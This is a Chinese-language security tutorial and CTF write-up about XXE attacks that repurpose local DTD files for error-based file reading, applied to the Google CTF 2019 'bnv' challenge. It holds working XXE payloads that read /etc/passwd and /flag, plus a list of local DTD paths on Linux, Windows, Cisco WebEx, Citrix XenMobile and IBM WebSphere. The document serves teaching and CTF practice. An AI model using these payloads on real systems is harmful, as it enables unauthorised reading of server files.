0x01 利用本地DTD文件实现XXE攻击 一般来说,对于无回显的支持外部实体的XXE,是通过带外通道OOB实现攻击回传数据。
但是,当你的服务器和目标服务器之间有防火墙时,上面的方法就没辙了。此时我们就可以通过本地DTD文件利用XXE漏洞实现任意结果的输出。
内部DTD文件可干啥? 要想在内部DTD子集中使用外部DTD语法,你可以在目标主机上强制执行本地DTD文件,并在其中重新定义一些参数实体引用:
Request
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]>
sip-app_1_0.dtd 中的内容
1 2 3 4 … <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)> …
它起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。
内部DTD文件合集 通过枚举来查找文件和目录应该是最简单的方法了,以下是一些成功应用此技巧的例子:
Linux
1 2 3 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
Windows
1 2 3 <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd;
感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。
Cisco WebEx
1 2 3 <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd;
Citrix XenMobile Server
1 2 3 <!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd;
多平台 IBM WebSphere 应用
1 2 3 4 5 6 7 8 9 10 11 <!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
0x02 Google CTF 2019 bnv 题目地址:http://bnv.web.ctfcompetition.com/
访问页面,有个选项框让你选择,然后返回该地址的一些信息:
查看源码,发现有个post.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 function AjaxFormPost ( ) { var datasend; var message = document .getElementById('message' ).value; message = message.toLowerCase(); var blindvalues = [ '10' , '120' , '140' , '1450' , '150' , '1240' , '12450' , '1250' , '240' , '2450' , '130' , '1230' , '1340' , '13450' , '1350' , '12340' , '123450' , '12350' , '2340' , '23450' , '1360' , '12360' , '24560' , '13460' , '134560' , '13560' , ]; var blindmap = new Map (); var i; var message_new = '' ; for (i = 0 ; i < blindvalues.length; i++) { blindmap[i + 97 ] = blindvalues[i]; } for (i = 0 ; i < message.length; i++) { message_new += blindmap[(message[i].charCodeAt(0 ))]; } datasend = JSON .stringify({ 'message' : message_new, }); var url = '/api/search' ; xhr = new XMLHttpRequest(); xhr.open('POST' , url, true ); xhr.setRequestHeader('Content-type' , 'application/json' ); xhr.onreadystatechange = function ( ) { if (xhr.readyState == 4 && xhr.status == 200 ) { console .log(xhr.getResponseHeader('Content-Type' )); if (xhr.getResponseHeader('Content-Type' ) == "application/json; charset=utf-8" ) { try { var json = JSON .parse(xhr.responseText); document .getElementById('database-data' ).value = json['ValueSearch' ]; } catch (e) {; document .getElementById('database-data' ).value = e.message; } } else { document .getElementById('database-data' ).value = xhr.responseText; } } } xhr.send(datasend); }
主要功能就是将输入的内容转换成ASCII码,然后再到blindvalues的数组(数组大小为26)中寻找并替换,在此之前blindvalues的下标加了97,也就是说,我们输入的json的参数内容只能限定在26个字母中,这样就没法往下利用,点不在这。
没啥其他提示,看下报文,都是Json格式:
根据参考文章提示,Content-Type为application/json并使用Json进行数据交互的Web站点,可以修改其Content-Type为application/xml,并尝试进行XXE注入。
先修改Content-Type为application/xml,发现响应包返回没有找到开启的标签符\<,也就是明确是是可以解析XML格式数据的:
修改Json格式数据为XML格式数据,提示找不到DTD:
下面直接用内部DTD文件实现回显利用,先发送WebSphere测试下:
报错,找不到该内部DTD文件,而目标系统是Linux,直接换Linux的payload就好:
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; <message>any text</message>
访问flag文件即可得到flag:
0x03 参考 Exploiting XXE with local DTD files
Playing with Content-Type – XXE on JSON Endpoints
使用本地DTD文件来利用XXE漏洞实现任意结果输出